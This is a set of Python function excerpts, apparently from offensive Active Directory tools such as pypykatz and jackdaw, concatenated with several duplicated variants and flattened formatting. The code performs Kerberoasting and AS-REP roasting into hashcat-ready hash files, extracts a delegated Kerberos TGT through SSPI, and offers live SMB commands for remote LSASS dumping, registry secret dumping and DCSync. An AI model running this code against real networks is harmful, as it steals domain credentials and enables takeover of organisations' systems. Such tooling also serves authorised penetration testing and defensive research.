def run_live(self, args): from msldap.examples.msldapclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if args.host is not None: logonserver = args.host la = LDAPCMDArgs() la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) la.verbose = args.verbose if args.verbose > 1: print('Using the following auto-generated URL: %s' % la.url) if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) asyncio.run(amain(la))
async def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') if args.livesmbcommand == 'console': from aiosmb.examples.smbclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() la = SMBCMDArgs() la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % ( args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) la.verbose = args.verbose #print(la.smb_url) if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la)
def get_ldap_url(authmethod = 'ntlm', host = None): from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if host is not None: logonserver = host return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
def get_tgt(self, target=None): if target is None: logon = get_logon_info() if logon['logonserver'] is None: raise Exception( 'Failed to get logonserver and no target was specified! This wont work.' ) target = 'cifs/%s' % logon['logonserver'] ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, target, token=None, ctx=ctx, flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: #key_data = sspi._get_session_key() raw_ticket = self.export_ticketdata_target(0, target) key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key']) token = InitialContextToken.load(data[0][1]) ticket = AP_REQ(token.native['innerContextToken']).native cipher = _enctype_table[ticket['authenticator']['etype']] dec_authenticator = cipher.decrypt( key, 11, ticket['authenticator']['cipher']) authenticator = Authenticator.load(dec_authenticator).native if authenticator['cksum']['cksumtype'] != 0x8003: raise Exception('Checksum not good :(') checksum_data = AuthenticatorChecksum.from_bytes( authenticator['cksum']['checksum']) if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: raise Exception('delegation flag not set!') cred_orig = KRB_CRED.load(checksum_data.delegation_data).native dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher']) #info = EncKrbCredPart.load(dec_authenticator).native #reconstructing kirbi with the unencrypted data te = {} te['etype'] = 0 te['cipher'] = dec_authenticator ten = EncryptedData(te) t = {} t['pvno'] = cred_orig['pvno'] t['msg-type'] = cred_orig['msg-type'] t['tickets'] = cred_orig['tickets'] t['enc-part'] = ten cred = KRB_CRED(t) return cred.dump()
def get_smb_url(authmethod='ntlm', protocol_version='2', host=None): from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if host is not None: logonserver = host return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod, info['domain'], info['username'], logonserver)
async def asreproast(self): try: target = None if self.kerb_url == 'auto': from winacl.functions.highlevel import get_logon_info logon = get_logon_info() if logon['logonserver'] == '': logger.debug( 'Failed to detect logonserver! asreproast will not work automagically!' ) return True, None target = KerberosTarget() target.ip = '%s.%s' % (logon['logonserver'], logon['dnsdomainname']) else: target = self.kerb_mgr.get_target() for uid in self.targets_asreq: ar = APREPRoast(target) res = await ar.run(self.targets_asreq[uid], override_etype=[23]) t = KerberoastTable.from_hash(self.ad_id, uid, res) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) self.db_session.commit() return True, None except Exception as e: return None, e
def run_live(self, args): from aiosmb.examples.smbclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() la = SMBCMDArgs() la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % ( args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) la.verbose = args.verbose print(la.smb_url) if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) asyncio.run(amain(la))
async def do_gather(self, cmd): try: progress_queue = asyncio.Queue() gatheringmonitor_task = asyncio.create_task(self.__gathermonitor(cmd, progress_queue)) ldap_url = cmd.ldap_url if ldap_url == 'auto': if platform.system().lower() == 'windows': from winacl.functions.highlevel import get_logon_info logon = get_logon_info() ldap_url = 'ldap+sspi-ntlm://%s\\%s:jackdaw@%s' % (logon['domain'], logon['username'], logon['logonserver']) else: raise Exception('ldap auto mode selected, but it is not supported on this platform') smb_url = cmd.smb_url if smb_url == 'auto': if platform.system().lower() == 'windows': from winacl.functions.highlevel import get_logon_info logon = get_logon_info() smb_url = 'smb2+sspi-ntlm://%s\\%s:jackdaw@%s' % (logon['domain'], logon['username'], logon['logonserver']) else: raise Exception('smb auto mode selected, but it is not supported on this platform') kerberos_url = cmd.kerberos_url dns = cmd.dns if dns == 'auto': if platform.system().lower() == 'windows': from jackdaw.gatherer.rdns.dnstest import get_correct_dns_win srv_domain = '%s.%s' % (logon['logonserver'], logon['dnsdomainname']) dns = await get_correct_dns_win(srv_domain) if dns is None: dns = None #failed to get dns else: dns = str(dns) else: raise Exception('dns auto mode selected, but it is not supported on this platform') print(ldap_url) print(smb_url) print(dns) with multiprocessing.Pool() as mp_pool: gatherer = Gatherer( self.db_url, self.work_dir, ldap_url, smb_url, kerb_url=kerberos_url, ldap_worker_cnt=int(cmd.ldap_workers), smb_worker_cnt=int(cmd.smb_worker_cnt), mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=progress_queue, show_progress=self.show_progress, calc_edges=True, ad_id=None, dns=dns, stream_data=cmd.stream_data ) res, err = await gatherer.run() if err is not None: print('gatherer returned error') await self.send_error(cmd, str(err)) return #####testing await asyncio.sleep(20) ####### await self.send_ok(cmd) except Exception as e: logger.exception('do_gather') await self.send_error(cmd, str(e)) finally: if gatheringmonitor_task is not None: gatheringmonitor_task.cancel() progress_queue = None
async def live_roast(outfile=None): try: logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] results = [] final_results = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) if outfile is not None: filename = outfile + 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') else: final_results += results results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue try: ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, spn_name, token=None, ctx=ctx, flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: ticket = InitialContextToken.load( data[0][1]).native['innerContextToken'] else: raise Exception('Error %s' % res.value) except Exception as e: print(e) errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if outfile is not None: filename = outfile + 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') else: final_results += results return final_results, errors, None except Exception as e: return None, None, e
async def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') from aiosmb import logger as smblog from winacl.functions.highlevel import get_logon_info info = get_logon_info() if args.livesmbcommand != 'shareenum': smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) if args.verbose == 0: smblog.setLevel(100) elif args.verbose == 1: smblog.setLevel(level=logging.INFO) else: level = 5 - args.verbose smblog.setLevel(level=level) if args.livesmbcommand == 'client': from aiosmb.examples.smbclient import amain la = SMBCMDArgs() la.smb_url = smb_url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la) elif args.livesmbcommand == 'lsassdump': from pypykatz.smb.lsassutils import lsassdump mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages) self.process_results({'smbfile':mimi}, [], args) elif args.livesmbcommand == 'secretsdump': from pypykatz.smb.lsassutils import lsassdump from pypykatz.smb.regutils import regdump from pypykatz.smb.dcsync import dcsync try: mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages) if mimi is not None: self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt') except Exception as e: logging.exception('[SECRETSDUMP] Failed to get LSASS secrets') try: po = await regdump(smb_url) if po is not None: if args.outfile: po.to_file(args.outfile+'_registry.txt', args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) except Exception as e: logging.exception('[SECRETSDUMP] Failed to get registry secrets') try: if args.outfile is not None: outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '') async for secret in dcsync(smb_url): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) except Exception as e: logging.exception('[SECRETSDUMP] Failed to perform DCSYNC') finally: if args.outfile is not None: outfile.close() elif args.livesmbcommand == 'dcsync': from pypykatz.smb.dcsync import dcsync if args.outfile is not None: outfile = open(args.outfile, 'w', newline = '') async for secret in dcsync(smb_url, args.username): if args.outfile is not None: outfile.write(str(secret)) else: print(str(secret)) if args.outfile is not None: outfile.close() elif args.livesmbcommand == 'regdump': from pypykatz.smb.regutils import regdump po = await regdump(smb_url) if po is not None: if args.outfile: po.to_file(args.outfile, args.json) else: if args.json: print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(po)) elif args.livesmbcommand == 'shareenum': from pypykatz.smb.shareenum import shareenum output_type = 'str' if args.json is True: output_type = 'json' if args.tsv is True: output_type = 'tsv' exclude_share = [] if args.es is not None: exclude_share = args.es exclude_dir = [] if args.ed is not None: exclude_dir = args.ed ldap_url = 'auto' if args.skip_ldap is True: ldap_url = None exclude_target = [] if args.et is not None: exclude_target = args.et await shareenum( smb_url = 'auto', targets = args.target, smb_worker_count = args.worker_count, depth = args.depth, out_file = args.out_file, progress = args.progress, max_items = args.maxitems, dirsd = args.dirsd, filesd = args.filesd, authmethod = args.authmethod, protocol_version = args.protocol_version, output_type = output_type, max_runtime = args.max_runtime, exclude_share = exclude_share, exclude_dir = exclude_dir, ldap_url = ldap_url, exclude_target = exclude_target, )
async def run_auto(): try: if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') from winacl.functions.highlevel import get_logon_info logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) filename = 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) filename = 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) print('[+] Done! %s spnroast tickets %s asreproast tickets' % (spn_cnt, asrep_cnt)) except Exception as e: print(e)
async def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') from aiosmb import logger as smblog if args.verbose == 0: smblog.setLevel(100) elif args.verbose == 1: smblog.setLevel(level=logging.INFO) else: level = 5 - args.verbose smblog.setLevel(level=level) if args.livesmbcommand == 'console': from aiosmb.examples.smbclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() la = SMBCMDArgs() la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % ( args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la) elif args.livesmbcommand == 'shareenum': from pypykatz.smb.shareenum import shareenum output_type = 'str' if args.json is True: output_type = 'json' if args.tsv is True: output_type = 'tsv' exclude_share = [] if args.es is not None: exclude_share = args.es exclude_dir = [] if args.ed is not None: exclude_dir = args.ed ldap_url = 'auto' if args.skip_ldap is True: ldap_url = None exclude_target = [] if args.et is not None: exclude_target = args.et await shareenum( smb_url='auto', targets=args.target, smb_worker_count=args.worker_count, depth=args.depth, out_file=args.out_file, progress=args.progress, max_items=args.maxitems, dirsd=args.dirsd, filesd=args.filesd, authmethod=args.authmethod, protocol_version=args.protocol_version, output_type=output_type, max_runtime=args.max_runtime, exclude_share=exclude_share, exclude_dir=exclude_dir, ldap_url=ldap_url, exclude_target=exclude_target, )
async def run_auto(ldap_worker_cnt=None, smb_worker_cnt=500, dns=None, work_dir='./workdir', db_conn=None, show_progress=True, no_work_dir=False): try: if platform.system() != 'Windows': raise Exception('auto mode only works on windows!') smblogger.setLevel(100) from winacl.functions.highlevel import get_logon_info logon = get_logon_info() jdlogger.debug(str(logon)) if logon['domain'] == '' or logon['logonserver'] == '': if logon['domain'] == '': logon['domain'] = os.environ['USERDOMAIN'] if logon['logonserver'] == '': logon['logonserver'] = os.environ['LOGONSERVER'].replace( '\\', '') if logon['domain'] == '' or logon['logonserver'] == '': return False, Exception( "Failed to find user's settings! Is this a domain user?") try: #checking connection can be made over ldap... reader, writer = await asyncio.wait_for( asyncio.open_connection(logon['logonserver'], 389), 2) writer.close() except: return False, Exception( "Failed to connect to server %s over LDAP" % (logon['logonserver'])) if db_conn is None: db_loc = '%s_%s.db' % (logon['domain'], datetime.datetime.utcnow(). strftime("%Y%m%d_%H%M%S")) db_conn = 'sqlite:///%s' % db_loc create_db(db_conn) ldap_url = 'ldap+sspi-ntlm://%s\\%s:jackdaw@%s' % ( logon['domain'], logon['username'], logon['logonserver']) smb_url = 'smb2+sspi-kerberos://%s\\%s:jackdaw@%s' % ( logon['domain'], logon['username'], logon['logonserver']) jdlogger.debug('LDAP connection: %s' % ldap_url) jdlogger.debug('SMB connection: %s' % smb_url) if dns is None: from jackdaw.gatherer.rdns.dnstest import get_correct_dns_win srv_domain = '%s.%s' % (logon['logonserver'], logon['dnsdomainname']) dns = await get_correct_dns_win(srv_domain) if dns is None: jdlogger.debug('Failed to identify DNS server!') else: dns = str(dns) jdlogger.debug('DNS server selected: %s' % str(dns)) kerb_url = 'auto' with multiprocessing.Pool() as mp_pool: gatherer = Gatherer(db_conn, work_dir, ldap_url, smb_url, kerb_url=kerb_url, ldap_worker_cnt=ldap_worker_cnt, smb_worker_cnt=smb_worker_cnt, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=None, show_progress=show_progress, calc_edges=True, dns=dns, no_work_dir=no_work_dir) res, err = await gatherer.run() if err is not None: raise err return True, None except Exception as e: return False, e